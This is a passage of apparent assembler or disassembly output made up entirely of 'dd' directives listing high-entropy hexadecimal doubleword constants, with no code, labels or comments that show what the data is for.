0E06E485Bh, 3B506AD8h, 0DE30B098h dd 47B75154h, 5CE2002Ah, 0B96D036Fh, 0D600C65Ah, 58605B32h dd 952251h, 2A8EB28Ah, 1F57EC83h, 8DA49D04h, 1C907E39h dd 0A350716h, 0DCD92522h, 690380CCh, 6BD8B502h, 8CE37E3Eh dd 10EDAC15h, 453931A3h, 406FE82Ah, 0FD79F8CCh, 31585708h dd 2B96802Fh, 933DA545h, 32B90F3Dh, 720B7129h, 0F1D6A178h dd 0FC95C06Ah, 19CF58DEh, 94CE278Ah, 0EDF336F7h, 0DDA6F0FAh dd 7F190015h, 2A390E5Bh, 0D6482E66h, 0FF990086h, 0E1B584C9h dd 72AFF2ADh, 0A9D300B6h, 0E0252986h, 52EC389Dh, 0AB014900h dd 27C08478h, 2810CA53h, 565504h, 0BFEA1043h, 0E15F3C99h dd 93AB100h, 0B07447A5h, 7D7201B2h, 369BD1A9h, 7FB4E0EAh dd 7EE8B3F0h, 96BF040Fh, 80BD8927h, 0B0B95DD5h, 0A0AB0020h dd 0B8072397h, 5F743286h, 4B3D9A00h, 926AFD5h, 1E631FD3h dd 539909EAh, 31812783h, 2188D7C0h, 83B2FF05h, 5820EE1Dh dd 90EBD3BAh, 7C7DF660h, 38E13CAEh, 0EB34501h, 0F409E5ADh dd 0DC01BA50h, 453FD14h, 29889C66h, 3688471Bh, 84689006h dd 0DF489965h, 2808DA45h, 973142A4h, 1B211324h, 107012D8h dd 0D7898115h, 6144F608h, 0D122842Ch, 11CB4282h, 847B314Bh dd 42806222h, 323F11CFh, 3E083421h, 4683887Eh, 0B8352688h dd 0A7CE1142h, 22148728h, 0FC42CA03h, 22A62711h, 9575007Bh dd 4D0163D0h, 0C900DACCh, 9130C025h, 6C8198h, 0C6D87318h dd 6D5E0D36h, 0AD9F2600h, 1121EE34h, 4D631CDBh, 942CC05Ch dd 4CD36EB5h, 50278505h, 78C06B15h, 0E2661D38h, 960B1C82h dd 8CE60042h, 212B9488h, 8E005075h, 6B39E45Bh, 0FE7975h dd 85620668h, 49FFDC14h, 382ED000h, 67BF9C84h, 24F04926h dd 9F324F00h, 77EFF29Bh, 66BCF00h, 0EB02A679h, 11AA0317h dd 6E51BACCh, 0B63210A0h, 843F70C0h, 5E85F0h, 0B739694Fh dd 0BF177B02h, 89B3E200h, 7F7180EBh, 0DF8B003Ch, 148ACE6h dd 0F3E4F507h, 7812F200h, 1C8C945Eh, 0DD0A3EBBh, 4F142A80h dd 952B62D9h, 0F63CAB00h, 2827CC3Eh, 124801C6h, 0BFD5ACCEh dd 86F2C00Fh, 17AD3101h, 600BEC29h, 0C9DB2880h, 0E841CE98h dd 180763E4h, 0A1EEB9BEh, 753DDE00h, 0B8B183Fh, 0E24DE8F5h dd 9AEB3900h, 25C4EFA2h, 1ED60EDAh, 33C08457h, 51A91048h dd 9E4F9100h, 5613F78Ch, 73703D6Eh, 0A35B6801h, 201FE8FFh dd 0E600D2C8h, 4B093389h, 6029D7h, 0C6DD7984h, 3228860Fh dd 25D34707h, 90F08817h, 170F806h, 98807F59h, 0FD46A893h dd 0D8FBC196h, 74009933h, 8E066EBEh, 366C6B6h, 0DE2D67AEh dd 0F0D8F2E7h, 0BF052FF1h, 34E98798h, 5300A812h, 0F889DB4h dd 0B5A600AFh, 916E854Dh, 79F21FF5h, 0DFF85E50h, 0BAEBCF00h dd 78BCB636h, 0EC9450D0h, 4A9106CCh, 109674B7h, 369C6102h dd 4045E415h, 896B051Ch, 61243082h, 0FAC34200h, 2CE98C9Dh dd 0E7100DBh, 0CBA28768h, 5E03A637h, 8E731AC9h, 6594D86Ch dd 484F00BAh, 86570E82h, 0B872831Dh, 4AF8800h, 28C9FA38h dd 0EACA00B6h, 0D69FAD32h, 2060F912h, 0DB145D11h, 0A3490448h dd 0A8E5B26Bh, 0CACF0042h, 0C49A5508h, 747035h, 83031A0Ch dd 2FBB908Eh, 56574E00h, 8F8CEE13h, 0CDF10098h, 67999AA2h dd 1B00CE4Bh, 49166530h, 0E58C06h, 5F48D22Fh, 7B93DA03h dd 71BF1E07h, 0E0707DDBh, 751B7256h, 0A41800E7h, 9FA7DE86h dd 0EF0A52C4h, 94125CAAh, 24720E03h, 0F8B9DBD8h, 3F02F85Fh dd 790029F5h, 0C3AFDB21h, 7300639Bh, 43BC8506h, 31FFD6h dd 6B54CAE4h, 0B681C630h, 7805900h, 3F98C2D9h, 55702Fh dd 3AEF3D3Eh, 4F351DE2h, 0E1605C0Eh, 0E961E053h, 3F7CE6Ch dd 0A854F39Eh, 6E88B8DCh, 18003E2Dh, 937548F6h, 3CF36502h dd 4B80C5D3h, 268EE7D2h, 0B75C01Fh, 0C87F2814h, 893D0EE8h dd 9C37C00Ch, 969515Eh, 5CA2F98Bh, 23621D80h, 6EE885BAh dd 0EA0013F8h, 96BC6AECh, 24D156D4h, 29205F2h, 46998519h dd 0DCCF88h, 0A4816953h, 0E73830E6h, 58A002C2h, 80DE8B6Ch dd 1A2685C0h, 61B1E8Dh, 0C979C93Eh, 283D24A1h, 0DCF8D4ECh dd 24D54B48h, 0F71DE8DBh, 6557F580h, 2D3662h, 8BE50544h dd 0C08FDF89h, 8ACADE00h, 0F1B8C977h, 0E1D23CB1h, 78A20070h dd 0CD028038h, 1C002D39h, 0B27C4DC2h, 7D44B6Bh, 70AA8CE9h dd 0A0223756h, 17169387h, 59E4BCB0h, 0DCCCE20Fh, 971AE0EEh dd 7BC7488h, 0C9F55C8Ah, 167EF089h, 9600ADBAh, 495B4BCDh dd 1B045A4h, 0EDFD1813h, 0E4B5F79Ah, 0CA00CD01h, 0E5B61AEFh dd 27509C5h, 0BC4EBD42h, 78608264h, 0FF00A079h, 1CD4F93Ah dd 0BB990C4h, 0A39D172Eh, 3307D176h, 8009A4B6h, 2062528Ch dd 65B30750h, 0A72A9DD0h, 90BE6783h, 57971988h, 0B6D33700h dd 4FE6ED4Dh, 9C5C0675h, 70838603h, 74BBC3Dh, 1780492h dd 9D6A70C0h, 6CB8A0D4h, 0C24500B7h, 9EE2D0F5h, 9000DD2Bh dd 0C9E8738Bh, 0F36C1Eh, 43B0999Ch, 104CBDD0h, 390096F0h dd 0A09E4850h, 778DBC51h, 80674F8Eh, 0FA90CA2h, 8F2B2139h dd 0A0B1490Dh, 0DACBA730h dd 14051620h, 0D0168Dh, 3D593C80h, 3300D8AFh, 0E85D06F6h dd 287C71h, 0DBA83A5Ch, 0F702F237h, 211C4A07h, 0C810D4E7h dd 7FCB7CB4h, 0AB89009Fh, 9CD2BD27h, 8F2C6AAAh, 5902BC58h dd 3F03C2Dh, 9690AEB5h, 0CF39E068h, 0F824A6B9h, 810EDA00h dd 5873313Bh, 0AC09082Fh, 0BC208571h, 2B6F3A90h, 601F8D09h dd 2C068E21h, 0A098D048h, 1ED093h, 14082E3Dh, 4C8194A0h dd 9F8A34Ch, 90AE8E66h, 0BFE9FB0h, 0B3487E35h, 459A5C20h dd 1D00ADCFh, 67F1FB91h, 61D9D7h, 0B4BCEE0Fh, 1B51092Eh dd 6AEF5F15h, 38A82EF4h, 0DE06803Dh, 1ED46C7Ch, 1B86006Dh dd 0E2B512D1h, 8D16A69Bh, 24005163h, 0F928BA9Fh, 1B3C0019h dd 9154F779h, 0D400AAA3h, 26B38540h, 7B2CAE28h, 841E00CBh dd 97DD0957h, 0E4128C70h, 0DB00D685h, 0AECB9F3Bh, 0C70E002Eh dd 0EC2463B9h, 0B000737Eh, 87C559DFh, 488219h, 0B1F0D0E7h dd 0E97A665Ch, 7980103h, 0E14259A5h, 3464C2D3h, 72D500EAh dd 76F8496Bh, 1E00F4BEh, 0CF76CDAh, 7301F93h, 97BF22E2h dd 602010CCh, 0FB0FE5B3h, 0E021A6C0h, 2A8E54F0h, 476C2402h dd 0B5580024h, 6FE48370h, 0A9FAEC00h, 7450E0C4h, 0FCA158B8h dd 6C16E680h, 0DDB04DFEh, 0D00114E6h, 43BB3101h, 0CCCFAADh dd 128EF4F6h, 0DC5386h, 18097524h, 64BA2F07h, 93BF063Ch dd 0AC00D2A2h, 0D97732ECh, 10C26108h, 0BF2C2F31h, 1170428h dd 1403D1C9h, 30B30F3Ah, 0CC43901h, 0B6CE81F9h, 8F84C20h dd 2354E1C7h, 4CA7873Ch, 94A0CD84h, 155243Ah, 0D39AF33Dh dd 20F66D4Ah, 0AB0066D3h, 0DA01EEF4h, 3473B24h, 4C5DE933h dd 57A8AF6Ch, 133D3AC4h, 0A2AD1283h, 7CC04C1Ch, 0FBAF4D33h dd 1AD100DEh, 1DF711CAh, 18B89163h, 0A224E500h, 5897F61Bh dd 880D00C4h, 7472BB75h, 0F500370Ah, 55656FEFh, 0C0368C02h dd 24703EB0h, 0A900958Ah, 0DFCC8373h, 24223896h, 7A62159h dd 0E06F4FA5h, 62B64429h, 0FC939901h, 423423DBh, 0FCFE8C9h dd 0E58BCBB9h, 601AB119h, 0AC4C4DD7h, 7668498Ah, 24745B01h dd 417F0397h, 47363880h, 894B382Eh, 9CAA762Eh, 0D9579880h dd 0CCE8375h, 4AE1F320h, 0D51301B0h, 0C85D378Ch, 0C4FA5140h dd 750CDAFh, 2834B11h, 54CA0FBh, 4705D168h, 124F6A48h dd 457B1882h, 7628ECh, 9B5F82B5h, 9E0E6EB2h, 0FF116D00h dd 0C5D7D1ABh, 6715266Fh, 0BC3F00E4h, 0C7756082h, 0D159B807h dd 6F602DCDh, 0D31525h, 2EAB430Ah, 0FBB3844Eh, 9B116000h dd 0E9BD88FDh, 1E7AF0EAh, 0D74658C7h, 6FA8005Ah, 0F2DD4986h dd 6A00C094h, 0CC4D15C6h, 75FA0537h, 870EDC9Eh, 352CF110h dd 13AEC845h, 58959B0Ch, 88B098h, 0BDA63855h, 624A9104h dd 903C98h, 80F9593Dh, 330AA4F1h, 0B5C85EBh, 4B4A5FC9h dd 0D75B9080h, 893EC369h, 472B006Ch, 96ABE366h, 0E9702E1h dd 0F1AD176Ah, 31CA08E0h, 255A7D00h, 0A3A547ECh, 0AEF90006h dd 4DC0FDCFh, 0A13DD427h, 4D88F68h, 5A81BE58h, 0A4893E40h dd 3F7C3230h, 30095DF3h, 5800DCD6h, 883B01FFh, 2A56000h dd 0B7725505h, 0F28426EBh, 749E003Dh, 32AB2465h, 5D0B2501h dd 4DD31E01h, 1822D20h, 0FEEB209Ah, 0F07EF5F7h, 0E0906E4Eh dd 0BC0C5572h, 106ABD78h, 14760046h, 77E98BA3h, 9F006C87h dd 0D464349Ah, 0AA5B744h, 0B0406A75h, 802B1EA8h, 0C1E10C61h dd 0AB0094F5h, 0FBF9271h, 0CFAD35h, 0E917C2D9h, 0DBA35508h dd 0D5985918h, 1235C6D0h, 13DA0E5h, 5BB1995Fh, 0F281F097h dd 23002479h, 0FA01ECA5h, 50B730BBh, 1989885h, 0A8935F63h dd 20CB824Eh, 5724F9C0h, 3F397F6Ch, 0AD2C017Bh, 5638534Bh dd 0BB0E7880h, 64621113h, 0B6009973h, 6B016FAh, 0B8F8B8C1h dd 712800D4h, 1446BB42h, 25009B85h, 0B33CFF7Fh, 0A2C3AEh dd 4AC02B40h, 0BDD162D4h, 8278500Fh, 4400960Eh, 1AD6F73Bh dd 6CEB0125h, 65BC4A22h, 309C40F4h, 7B704745h, 24DC1600h dd 0D6C96069h, 2E2C923Ch, 0A147717h, 3BC0D1AEh, 82E5A380h dd 72B64DCFh, 0B9A9B412h, 449FF440h, 50F06DDCh, 1693989Ch dd 317D23Bh, 0A2654E98h, 0AC3053E8h, 97524C12h, 0BA13FC40h dd 53651014h, 0D8018067h, 78B8C95Fh, 44DE1249h, 0C0792064h dd 20D5498h, 10BF4EB1h, 6100582Ch, 0AEE31CE2h, 0A300DB55h dd 0FAB42527h, 0B0EABB2Ah, 0A91926A5h, 0E99D8540h, 38C8C005h dd 1CFE6A8Ah, 0B480BA04h, 480715Ch, 38F95BFh, 6D1A2947h dd 0B6A87883h, 1C06D039h, 7320E032h, 22F10028h, 0CB4E0262h dd 0C4F4CADDh, 846B6100h, 0BC47CDA5h, 0E8D00123h, 0C756458Fh dd 6CF04190h, 9DE1807Fh, 650F68E1h, 0D3690016h, 34CFCDB6h dd 4660C90Ah, 0D23EA511h, 0E5620982h, 3408C063h, 32C107BCh dd 0B81C4105h, 3AFE20B9h, 0EF87E1C7h, 36157CD0h, 0D89615F6h dd 1A07EC13h, 0B057BF40h, 0C6FC538Bh, 84F88200h, 0F24F7FB9h dd 2C4BE846h, 994D05Fh, 3B80AA1Eh, 2C55FC18h, 602B9100h dd 0B2CC82DAh, 813D17A7h, 0A26403D8h, 67EF745Dh, 0E3FD12Ah dd 55FD70E3h, 62C9D706h, 2480E2AAh, 512C74BBh, 0CDC52E4h dd 5E972360h, 0C54B9400h, 41DBB549h, 52E1000Fh, 0E336FED5h dd 0D0009083h, 4F025B86h, 7537A8ACh, 6CDD48EDh, 539B6280h dd 4D5043A9h, 6891C97Ch, 1BE4A06Eh, 508613h, 0EB552388h dd 0C504AFE3h, 1A45248h, 418725F5h, 78E48327h, 0D16C00E5h dd 8A67B976h, 0E8E613DCh, 0A9B62204h, 188098C3h, 0F2A2B345h dd 50EE906Fh, 3EC5C851h, 218094A1h, 39045289h, 2D004EC3h dd 0BD402C3Fh, 5E4801h, 0ED72112Eh, 81DBFE2h, 4F686219h dd 2DFCAF88h, 3B380034h, 0BCD9A677h, 55038B22h, 0F7F65FD0h dd 0D3E9021Fh, 78C026C4h, 0C8CF6B61h, 4F50DA9Dh, 1607C3D8h dd 0EB140FCEh, 0C491F584h, 18201E07h, 9A6601FBh, 0FDA2963h dd 5827D086h, 4A6F3C00h, 78E3FF76h, 42C908Eh, 9130167Dh dd 107CB022h, 0C642BF0Bh, 0E004E3F7h, 68D1B7h, 31509BF3h dd 0E1A2F0DEh, 47146D02h, 483E6175h, 4C7E8F30h, 8B1C2937h dd 1A3240EDh, 0CC2C94F4h, 0F30B5492h, 0A008C5EBh, 932938DCh dd 60A5FE07h, 0F5B39088h, 0CF164136h, 5706D9A2h, 7103719h dd 8D238C81h, 1AE9301Fh, 580EAD9Eh, 123A59FBh, 95FE0AFAh dd 9B800FCh, 8002942Bh, 0FD6F4C00h, 55675DD3h, 36710018h dd 13F2E63Ah, 2A38C624h, 3E4D8EDEh, 5C636531h, 0FA4480C0h dd 0F4160BC8h, 3C0FB677h, 0FF182F43h, 3717C384h, 4DC086EBh dd 2603700Bh, 9CA36089h, 607C17h, 9FEB0DD0h, 80F27FC6h dd 6E7EDE00h, 20637649h, 74A8006Dh, 24BFD1A0h, 0DA4C30ACh dd 0E79C3EC1h, 52B06021h, 0B0694A29h, 0B9D00088h, 81C89AEh dd 0F27827E6h, 0A31BE500h, 0C8B0110Fh, 7B5000AFh, 0FF0E66ADh dd 0FA00E406h, 0CBCF44F1h, 34C4E6h, 2BA08CF0h, 826A95AFh dd 20C30B1Ch, 0AC67C940h, 29CCC6h, 4BE9513Ch, 19915539h dd 0F633D602h, 0D571AC69h, 6D7E0F80h, 5D146E4Bh, 0CC0A46h dd 53DD81D2h, 0B8F0132Fh, 0A11900ABh, 92D67704h, 7C00CBE4h dd 0DB0FBCF9h, 0DE3C24h, 5E268EB4h, 9E7A8749h, 0E2011C74h dd 0C6218A6Bh, 0D1F436D4h, 0EF6F008Eh, 0DD821D38h, 94917569h dd 0FCF4003Dh, 533715B0h, 1CE50097h, 6D298C7Ch, 8524015Ch dd 0DD84A46Bh, 3804497Ah, 44CCC3DCh, 0A0ED4800h, 539DC107h dd 7C81596Fh, 0F5617F00h dd 39F2AC77h, 0EB851C00h, 9B344235h, 31940512h, 0E5223FB6h dd 0A47714h, 0E4F41048h, 14E735h, 0E0DFC868h, 28EC029Ah dd 9F84FD03h, 0E018CC95h, 0B0A97762h, 0A54D0969h, 6881CF8Eh dd 7037BA72h, 0BF04CC50h, 0D76C8C3Ah, 70E9EC90h, 40070F3Bh dd 426156BAh, 0F8AF23B8h, 14041916h, 0C0F1213Ah, 0E9CBAC80h dd 0A80C6E98h, 477E121Fh, 0ACB8D0h, 0F90B9DF3h, 0F8D42A24h dd 609B6400h, 0F0698E41h, 0E1C82503h, 0F729B483h, 0CF1460CFh dd 0E609FD5Dh, 0A078E564h, 304CC714h, 7A8BAC8h, 29D63CB3h dd 37175015h, 0E200EEF2h, 4F6E8B68h, 6AD94994h, 7B10E1h dd 5CF5893Ch, 5B0E7BA6h, 1858C07Eh, 4421ADB0h, 5EAB5ABh dd 6FEB560Bh, 0FAD0032Ch, 0FB9CB8F8h, 1EBA02DEh, 0C7AD0D88h dd 26D01CE0h, 9911700h, 73E418CDh, 443D0140h, 0E254C370h dd 8B0ED0A0h, 91787400h, 23FD0D4h, 868E1FB8h, 382A8046h dd 220B7142h, 6896E21Dh, 7054A8C2h, 4A84603Ch, 0E610008Bh dd 9EB8D5A1h, 0C1013B18h, 6D887E57h, 0B4DCAAE0h, 108F009Ah dd 40BE1DB2h, 170E63DFh, 0E4786107h, 50C08EBBh, 0E73756h dd 6EABBA31h, 411FD606h, 0A59C6600h, 0DF228116h, 8D17015Ch dd 1C0E96E9h, 945660B6h, 71EDE700h, 36BC311Ah, 40BA6FA1h dd 874B3BC0h, 84005BF1h, 617EE02Bh, 1F2ACC31h, 80663FAFh dd 2DB4CA77h, 0B61E7FEEh, 32C0BC26h, 0A8398C55h, 0B2E7EE45h dd 1EABE6DCh, 0C034EBFBh, 4C7DBE2Dh, 5E00A753h, 0CA3D5D08h dd 182FFACh, 5CFEA1A5h, 205F4854h, 99727CB4h, 80156F2Fh dd 0AC2A9DF0h, 9C65003Ch, 771C687Dh, 3A0FC234h, 0E0615A09h dd 0F208199Ah, 0DF0D3F3Dh, 67E8498Eh, 6AE19000h, 0B4004FA7h dd 6F195027h, 0F838F2FCh, 49D300EBh, 4135B639h, 0B4F66A4Eh dd 0E33F3604h, 148065CCh, 31AD24h, 0E48471D7h, 0EF053414h dd 1807E907h, 0C2B33CA7h, 192D9038h, 35040FBAh, 0B2A07422h dd 0A4CD20BDh, 0AA06A61Fh, 86D2B8C0h, 51B3EEh, 0B7AC0A91h dd 1E63ADCAh, 0E5C95300h, 0E43ECE5Bh, 0F490A0DDh, 42810021h dd 55382025h, 86033A17h, 896FB419h, 0D65A8857h, 8670085h dd 2A14F90Ah, 5600E420h, 96ED1361h, 12DF0F90h, 4EB489h dd 2C48363Ch, 820B6D22h, 48C4DB7Bh, 2971A8h, 777E968Fh dd 4D514B87h, 817ADE03h, 0C8D3249Bh, 0C2A3Ch, 64B44A10h dd 0FD23F397h, 1C90AAF0h, 0D5C10213h, 25D6C090h, 30677B43h dd 9D5460DEh, 3800C5F7h, 0F093698Fh, 0E65CD7C8h, 79550008h dd 0F4428391h, 6C005020h, 0CC02C171h, 5F4A03h, 0D8A5BA14h dd 0DEE75BFh, 7FFF1A1Ch, 5B3EA787h, 9080B624h, 98C3E933h dd 0C9BB0073h, 17ED2FB2h, 0F9005764h, 139E0668h, 60739A70h dd 0FE5910FAh, 6CEEE5E1h, 0EE0052ECh, 0C10D1D50h, 4A6B8B3Eh dd 5B9800ACh, 0EFF204F4h, 0AC90114Ah, 1C06BF98h, 9C50F9C1h dd 0EFB25F12h, 9EBE3800h, 3226033Ah, 732CA420h, 0D1DAE200h dd 3E6FECB9h, 7C2A7DADh, 7044E7C8h, 1C7248C0h, 0EBC53A4Fh dd 0E7118C84h, 8310D0AEh, 0D8C0B6FCh, 0EBCFC36Ch, 1E654E33h dd 0BC1F8070h, 35BB3B42h, 0C8A9B628h, 2D0BEA00h, 0A6719B66h dd 0BF3A0E5Bh, 0DC8005F1h, 0CCCF4CB1h, 403359h, 5D19FF51h dd 160DD21Ch, 12DB4AF5h, 402C525Ch, 0DA0AC4E0h, 0C4C17CA7h dd 806B6395h, 0EEB42864h, 6A7E0070h, 0BA99E9B1h, 0E400E3BDh dd 55053C02h, 90FA38C4h, 0CB88805Eh, 78680088h, 0BB8FF7A4h dd 0DC009930h, 1BAD2035h, 0B235327h, 58C8F65Dh, 8C93F0C0h dd 50B8483Dh, 850EC5B8h, 601282E6h, 0B7F19AA9h, 0A81D2647h dd 43D2465h, 0C0AEE929h, 0CB1541ECh, 0FEEB3600h, 5D9E5B4h dd 0BD420079h, 4526F155h, 0B1001DDEh, 64D41C81h, 1671CF12h dd 80467CDCh, 0C935E7E0h, 164EB560h, 78778BA2h, 913F1666h dd 0FE34416Fh, 0D8BBB68Ah, 47755841h, 55079B00h, 0D2E2A609h dd 7264C03Dh, 2B560818h, 6297B40Fh, 63F0A069h, 65DBA7h dd 0B587CD2Ah, 0E9D1DD33h, 92899500h, 0C6800DC4h, 1FC1D4Bh dd 0D680FA29h, 4FA31F3Bh, 1200A016h, 6F731415h, 24365Dh dd 0D2094662h, 661AF68Eh, 0B4293100h, 1E3BF1CAh, 6C775Dh dd 0DF05B3C4h, 34B8EDCDh, 0B0850D2Ch, 0C965EB00h, 4BCDCA9h dd 0A87F21D9h, 12548050h, 0EE75C826h, 0E9175E16h, 9CBA8002h dd 6584406h, 57E5138Ah, 4612D845h, 9400B0B5h, 0E8CED83Fh dd 5C665906h, 0D9EC1276h, 4E544234h, 30B89F6h, 0E9FD9E1Ch dd 0B9CD4B81h, 0C9152082h, 8CC875E2h, 0A4001EB1h, 0D3C0CF3Eh dd 95698A85h, 58B57480h, 480EB9CCh, 6092186Ch, 0B01E6A2Bh dd 0FAC90143h, 26CDE730h, 0D5F3E0EAh, 96918D02h, 549A7C09h dd 1FEF012Ch, 3A048F5Dh, 2309FF0h, 0EC8A6841h, 4C40197Eh dd 4900813Fh, 0F56F9BBh, 0F06FC3h, 8463649Ch, 2A1EB020h dd 52DF1400h, 2306EB65h, 0FCB40013h, 573C48DDh, 0C201A593h dd 6C1D8D08h, 2BC5A7B6h, 3C719D00h, 9959DF17h, 8A535842h dd 67DE0ADh, 6B213C79h, 4884183Eh, 80874757h, 0F9C6D530h dd 0A6FE9C00h, 51CFAB8h, 3A4D00CFh, 8A4774DEh, 5F0080D6h dd 0C87DE608h, 9C5C4Ch, 9F728E4Eh, 382CD0EBh, 0A69B700h dd 344236ECh, 5AF10078h, 0A21802FCh, 72FE1F54h, 58049DE4h dd 5B77F27Bh, 0A94C8CC0h, 0E8BF002Ch, 0AD162603h, 38F6E1F8h dd 0B828AC00h, 122207EBh, 477A5B0Ah, 20F884E4h, 478F3D6Ch dd 571BB900h, 0BA0CC210h, 0D0BF597Ah, 4B9D491Eh, 0ECC02B05h dd 5F007B17h, 1FFB66A0h, 58EA31A9h, 1D001C53h, 6D7D412Eh dd 38F0574Bh, 7D73600h, 0AEC7B10Eh, 4EA00A7h, 0BA5F16F9h dd 39C0B822h, 1C3F2D20h, 0EC065085h, 9F320781h, 800E79E4h dd 0ACE3EF9Ch, 8C09C573h, 0A59B863h, 6002861h, 1B1C974Ch dd 0D58500A3h, 627E7728h, 2A7DF135h, 880AD10Eh, 0D0CEE02Dh dd 2627B515h, 77C92CAh, 0F0B9ADF0h, 67BF307Ah, 20669426h dd 1EF63281h, 288ECBEBh, 5580D38Dh, 244B6C3Dh, 0A6770E03h dd 80EEA3DCh, 3FACDF36h, 26BDF78Ch, 0C5F68900h, 0D046AA78h dd 0ED0AF100h, 81B41A1Ch, 52A900CAh, 5DBD2508h, 0BC001293h dd 604A5F2h, 39E0C13Bh, 0B3009A63h, 0F889E6DCh, 0AB90E201h dd 0A90FEB13h, 0DC0D497h, 38C80B7h, 6EA52CF9h, 789AA10Eh dd 9E4F6940h, 39131C00h, 3874DF6Bh, 53980060h, 0BFE96C86h dd 623CE4BDh, 88430699h, 40BA21h, 911BB069h, 0A63E4DA7h dd 18B9FF34h, 7BD36090h, 33900092h, 0CC81E496h, 0A30F7888h dd 0C042C641h, 2A588C79h, 19800337h, 23E4F12Fh, 305C0EB2h dd 11F24300h, 28265Ah, 0AB31321h, 0F905952Ah, 76C735Ch dd 0B5388348h, 76382226h, 92880068h, 89D9A4A7h, 4D03B498h dd 97E6916Fh, 0AD1117F7h, 74D40126h, 0FCE75188h, 61018F54h dd 0CDFB3E5Ch, 6DC0544h, 0D8CF01F4h, 0B14286BDh, 3B0DC8C6h dd 0D7C1AB00h, 0E955913Ch, 0DDE83945h, 0E4424900h, 90E5B29Ch dd 1C513F38h, 4F01074Eh, 317F045h, 71388C70h, 0D4FABDh dd 7D8FDF10h, 1E9B2FA6h, 4CA7090Fh, 96409DC3h, 0F65A6168h dd 940F035Bh, 3555226Eh, 0B3E58CB0h, 9AA12100h, 0D3D9AC1Eh dd 865A0002h, 71FFC77Ah, 0D4241545h, 0DE002C1Dh, 0E595BAEEh dd 25E300C2h, 485DFE83h, 0D71D5068h, 4E007B1Dh, 3AF9F1C1h dd 32BE0084h, 1AD00901h, 9B01C911h, 0D63445F7h, 3A60EEAEh dd 29C80040h, 0D9AFB173h dd 9F00F420h, 3669A966h, 0FABFCD5Fh, 92290043h, 0ED202793h dd 4F0034D0h, 48C44B3Ch, 56777Ah, 0B05BB25Dh, 1503F85Ah dd 0A2AD5301h, 5C236A02h, 4EA5ECh, 0DE170F0Ah, 58B73C69h dd 12493D2Eh, 92803B00h, 48AD3Eh, 287040C1h, 44025D73h dd 0DED10E01h, 51B28ABAh, 4AABE1DFh, 0AA16E0h, 0C13A6BFBh dd 0B2F776C2h, 1C387460h, 3625D71h, 43CBDC89h, 1874E606h dd 7200B0B8h, 3DA8EFABh, 1E087C0h, 0AD4A5EF2h, 0ECA06B0Eh dd 0B6006EE9h, 9D2FD518h, 309CCE8Dh, 9439C579h, 0B518768Fh dd 6BC1FEE5h, 0AEDA1317h, 1890177h, 60E9C366h, 0F0073BCh dd 42E163D4h, 7A8F99h, 0A2FE0114h, 9D46D1DAh, 276E6016h dd 37999000h, 1B5E6F7h, 0D4E82FA1h, 80EFBDE7h, 6784ADF0h dd 301BBC5Ah, 0B169B46Eh, 4200DA83h, 0FDAA0CD4h, 3C8031Eh dd 0D69BE569h, 290E6C87h, 40492A27h, 4D96C6A1h, 1839672Eh dd 0E36F056h, 6907E52Fh, 82635341h, 0D173C3h, 33E15689h dd 89D748CFh, 0AE51BE60h, 45A752h, 2E188F12h, 0EB356A9Bh dd 0E1E3000h, 6F3D6209h, 0BBCA186Dh, 3AB12045h, 4D802109h dd 1AFE0079h, 2C3BFEh, 0D69AB6D1h, 0DC0B7343h, 2608DD00h dd 7875876Bh, 0B170F5h, 0F4BBFFCEh, 8BBE4C65h, 0D6140092h dd 78C89CB3h, 377BBC00h, 41560FA5h, 5E3A00A9h, 9116CCAFh dd 0F0031CCDh, 0C9ED2CE9h, 49890AAh, 464302C8h, 4D613581h dd 0FB0D5440h, 80CF3F3Eh, 8B743128h, 0A72112h, 9771BD9h dd 68D239AAh, 47BEE0C0h, 458240h, 0B05CFCEBh, 8D31A64Fh dd 0A89DCD00h, 39580161h, 5F031CC2h, 0D7F9401Bh, 3314A3B3h dd 0D4287FFCh, 0D008C80h, 0B14969CCh, 0F41D76h, 6D82863Ch dd 4818D056h, 0A9636100h, 3616D960h, 937732h, 0E82DAF82h dd 0A45680F1h, 0DEF02BE9h, 115100FEh, 0F4B2586Fh, 9C007525h dd 0C68ABD6Bh, 14F98528h, 0A0EE6778h, 0C0FB3107h, 1971129h dd 8D9AC436h, 0A854FC00h, 20DE451Eh, 12D500C1h, 6CEB3DF0h dd 132442B8h, 0EC9EB092h, 0F7368040h, 3BF1D22h, 0F1FCAD0Ch dd 60F8AB17h, 0D70019E1h, 0E6463161h, 275F46Ch, 96DFF1C2h dd 0DCAFDD24h, 8AA04EB2h, 5CB2C041h, 1E7026A5h, 0D340146Ch dd 74823330h, 1D093AC0h, 0F1AC00F4h, 0F623B5D4h, 0FF045340h dd 0CD944D6Dh, 0CF085C90h, 9928014Bh, 0C6D977DBh, 561C249Dh dd 301A2B5Ch, 0C226C872h, 12C7993h, 0BE1A953Dh, 809DB475h dd 0AF7FA581h, 0D03742h, 4E1E0391h, 8858EDF3h, 87BE0B18h dd 49538129h, 0ADC0C4CDh, 0B90F491Ah, 39D93109h, 0FF4C101Dh dd 2D2F003Bh, 42B21248h, 8124BE15h, 3BBCF0h, 9579C1Ah dd 96A251h, 0CA3881Bh, 4713A14Ch, 7DF4CCF0h, 0E5095507h dd 202F63CFh, 0B482DB22h, 0A9160051h, 0AC6134E1h, 714C65DCh dd 176D0138h, 70271E6Ah, 0D22F1080h, 0BCB38F60h, 69D57700h dd 7368C5F9h, 0D9832427h, 81DF1E88h, 0DB8D426h, 6C54E050h dd 0ED4B7B00h, 0C6EBE515h, 2C889AF9h, 84044E26h, 803DFB94h dd 0B484E56Ch, 995B6800h, 50483B44h, 0AB30E1C6h, 0B260C0E2h dd 711D1CCEh, 0EC4F0D00h, 967E68DEh, 2547E22h, 0FB6E7FBDh dd 0BF61AC07h, 3C5C2410h, 4C48E67Fh, 3E20598h, 11C0B6EBh dd 0A5E906Bh, 7094A40Dh, 1DF1008Bh, 863F5419h, 0DA5BBC05h dd 0E00047AFh, 10C4AE5h, 0B0C3764Dh, 2B520019h, 12D77F80h dd 4502CE19h, 427B6D65h, 49F84072h, 15AD1D08h, 0F8A040F4h dd 112116A8h, 3C811E00h, 0E17959C8h, 0A991583Eh, 33017639h dd 7AE37538h, 83807E74h, 77E4FE15h, 6D890093h, 352FC24Ah dd 0FB717B2Dh, 95759800h, 3AED7681h, 37AD0087h, 2EF50FACh dd 1F00D617h, 0A79A7A28h, 7A2E1h, 9E78BA9Fh, 0CA228B4Ch dd 0B4EB1400h, 0B5748391h, 8169003Bh, 95049E9Ah, 0FC0099F2h dd 785E8ECFh, 1A4BAFh, 0A5AB9D72h, 2AC5F63Ch, 7B0C1748h dd 2893D43Ah, 0EB029434h, 